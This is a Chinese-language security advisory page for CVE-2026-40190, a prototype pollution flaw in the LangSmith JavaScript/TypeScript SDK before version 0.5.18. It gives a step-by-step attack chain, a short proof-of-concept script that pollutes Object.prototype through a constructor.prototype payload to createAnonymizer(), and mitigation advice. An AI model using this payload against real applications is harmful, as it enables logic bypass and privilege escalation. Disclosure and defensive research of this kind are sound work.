IPBUF安全漏洞报告
English
CVE-2026-40190 CVSS 5.6 中危

CVE-2026-40190 LangSmith SDK原型污染漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40190
漏洞类型
原型污染
CVSS评分
5.6 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LangSmith JavaScript/TypeScript SDK

相关标签

原型污染LangSmithNode.jsCVE-2026-40190RCE

漏洞概述

LangSmith JavaScript/TypeScript SDK在0.5.18版本之前存在原型污染漏洞。其内部lodash set()工具的修复不完整,未阻止通过constructor.prototype进行的遍历。攻击者若能控制createAnonymizer() API处理的数据键,即可污染Object.prototype,进而影响Node.js进程中的所有对象。该问题已在0.5.18版本中修复。

技术细节

该漏洞源于LangSmith SDK内部集成的lodash工具函数中`baseAssignValue()`的过滤机制存在缺陷。虽然开发者针对原型污染进行了修复,拦截了关键字`__proto__`,但忽略了JavaScript对象属性访问的另一条路径`constructor.prototype`。在JavaScript中,`obj.constructor.prototype`等同于`obj.__proto__`。当`createAnonymizer()`函数处理用户提供的对象时,如果输入包含类似`{"constructor": {"prototype": {"polluted": true}}}`的结构,恶意属性会被合并到`Object.prototype`中。由于JavaScript的原型链继承机制,这将导致后续创建的所有对象都带有`polluted`属性,攻击者可利用此特性绕过安全检查或篡改应用逻辑。

攻击链分析

STEP 1
信息收集
攻击者确认目标应用使用了LangSmith JavaScript/TypeScript SDK,且版本低于0.5.18。
STEP 2
构造恶意载荷
攻击者构造包含constructor.prototype嵌套键的特殊JSON对象,旨在绕过针对__proto__的简单过滤。
STEP 3
发送请求
攻击者通过应用程序接口,将恶意数据传递给受影响的createAnonymizer() API进行处理。
STEP 4
触发原型污染
SDK内部处理数据时,由于防御不完整,恶意属性被写入Object.prototype,污染全局对象原型链。
STEP 5
利用与影响
由于原型链被污染,应用后续逻辑中创建的所有对象都将包含恶意属性,可能导致逻辑绕过或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-40190 // This script demonstrates how to pollute Object.prototype using the vulnerable createAnonymizer API. const { createAnonymizer } = require('langsmith'); // Malicious payload designed to bypass __proto__ check by using constructor.prototype const maliciousPayload = { "constructor": { "prototype": { "isVulnerable": true } } }; try { // Trigger the vulnerability by processing the malicious payload createAnonymizer(maliciousPayload); // Verify if the pollution was successful const emptyObject = {}; if (emptyObject.isVulnerable === true) { console.log("[+] Exploit successful! Object.prototype has been polluted."); } else { console.log("[-] Exploit failed."); } } catch (error) { console.error("Error executing PoC:", error); }

影响范围

LangSmith JavaScript/TypeScript SDK < 0.5.18

防御指南

临时缓解措施
建议立即将LangSmith SDK升级到最新版本。如果暂时无法升级,应在调用createAnonymizer等API之前,实施严格的输入过滤机制,移除或拦截包含'constructor'、'__proto__'及'prototype'等敏感键名的数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表